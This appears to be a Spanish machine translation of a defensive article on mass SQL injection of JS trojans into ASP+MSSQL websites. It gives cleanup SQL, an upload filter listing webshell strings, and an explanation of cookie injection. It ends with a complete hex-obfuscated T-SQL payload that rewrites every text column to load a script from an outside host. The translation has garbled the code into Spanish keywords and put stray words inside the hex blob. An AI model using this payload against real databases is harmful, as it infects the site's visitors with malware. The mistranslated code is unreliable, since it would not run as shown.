Hoy en día, muchos sitios web diseñados con ASP+MSSQL pueden haber experimentado la experiencia de que piratas informáticos insertaran sus bases de datos SQL en troyanos JS; no, el sitio web de un amigo fue engañado por piratas informáticos.
Cada campo varchar y de texto de mssql se inserta automáticamente en un fragmento de código js. Incluso si este fragmento de código se elimina, si no se resuelve desde la fuente, el código js se insertará automáticamente en la base de datos en unos minutos.
Después de la observación de Piao Yi, es probable que el programa lo ejecute automáticamente. El pirata informático primero busca sitios web vulnerables diseñados con asp + mssql en motores de búsqueda como Google y Baidu, y luego utiliza herramientas de escaneo de inyección como Xiao Mingzi para escanear todo. sitio web, una vez que se descubre o carga una vulnerabilidad de inyección SQL. Si hay vulnerabilidades, los piratas informáticos utilizan varios medios para cargar sus propios troyanos, como los troyanos Haiyang, luego los piratas informáticos incluyen este sitio web en su lista de problemas y agregan los códigos js que desean agregar a la base de datos en cualquier momento, y estos; Los códigos suelen contener numerosos virus y troyanos que, en última instancia, envenenan los ordenadores de los usuarios que visitan sitios web controlados.
Aunque puede realizar un reemplazo por lotes a través del analizador de consultas SQL para resolver temporalmente el problema del código js insertado, si no resuelve fundamentalmente las vulnerabilidades de todo el sitio web, incluidos los permisos de seguridad del programa y del servidor, los piratas informáticos aún pueden invadir su sitio web en cualquier momento. Base de datos del sitio web.
En el analizador de consultas SQL, puede ejecutar el siguiente código para reemplazar el código js en lotes:
Copie el código de código de la siguiente manera:
"actualizar nombre de tabla establecer nombre de campo = reemplazar (nombre de campo,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')"
flymorn revisó cuidadosamente el sitio web y encontró varios problemas de seguridad:
En primer lugar, el sitio web tiene una vulnerabilidad de carga; aunque la carga de archivos requiere la autenticación del administrador y la autenticación del formato de archivo de los archivos cargados, la autenticación del administrador utiliza cookies y las cookies pueden falsificarse y, si se cargan, no se emite ningún juicio sobre el contenido del archivo. Después de tomar la fotografía, es probable que se cargue el troyano.
Soluciones: 1 Eliminar la función de carga de archivos (no es práctico); 2 Modificar la verificación de usuario de carga a verificación de sesión 3 Verificar el contenido del archivo cargado y eliminarlo si es un troyano de imagen; puede consultar el siguiente código de verificación; :
Copie el código de código de la siguiente manera:
''================ Determinar si el archivo cargado contiene una cadena ilegal start=================
establecer MiArchivo = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'Leer archivo de texto
sTextAll = lcase(MiTexto.ReadAll)
MiTexto.cerrar
establecer MiArchivo = nada
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = dividir(sStr,"|")
para i=0 a ubound(sNoString)
si instr(sTextAll,sNoString(i)) entonces
establecer filedel = server.CreateObject ("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
establecer filedel = nada
Response.Write("<script>alert('¡Hay un problema con el archivo que subiste, la carga falló!');history.back();</script>")
Respuesta.Fin
terminar si
próximo
''================== Determinar si el archivo cargado contiene una cadena ilegal end=====================
En segundo lugar, el sitio web tiene una vulnerabilidad de inyección de cookies. Debido al diseño del programa, para reducir la sobrecarga del servidor, todos los usuarios utilizan cookies para la autenticación después de iniciar sesión. Esta cookie almacena la identificación y el NOMBRE del usuario. Como todos sabemos, las cookies a menudo son falsificadas por piratas informáticos. Además, algunos parámetros externos no utilizan request.form y request.querystring estrictos para obtener contenido. Por simplicidad, se utiliza request("id").
Sabemos que la solicitud de ASP primero obtiene el contenido del formulario y la cadena de consulta. Si estos dos están vacíos, el contenido debe obtenerse de las cookies. La gente a menudo considera la inyección SQL de request.form y request.querystring en la programación. y request.querystring generalmente se filtran para inyección SQL pero se olvidan de filtrar la inyección en el modo cookie; Echemos un vistazo a la siguiente declaración SQL:
Copie el código de código de la siguiente manera:
SQL="seleccione * del nombre de la tabla dondeid")
Si esta identificación obtiene el valor a través de cookies, piénselo, ¡qué cosa tan terrible es! El inyector puede falsificar fácilmente una cookie falsa llamada id porque el servidor le asigna la cookie con esta identificación. Esta cookie se puede falsificar en un fragmento de código similar al siguiente:
Copie el código de código de la siguiente manera:
dEcLaRe @s vArChAr(4000);set @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 Red de Talento TI () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a comoS vArChAr(4000));exec(@s);--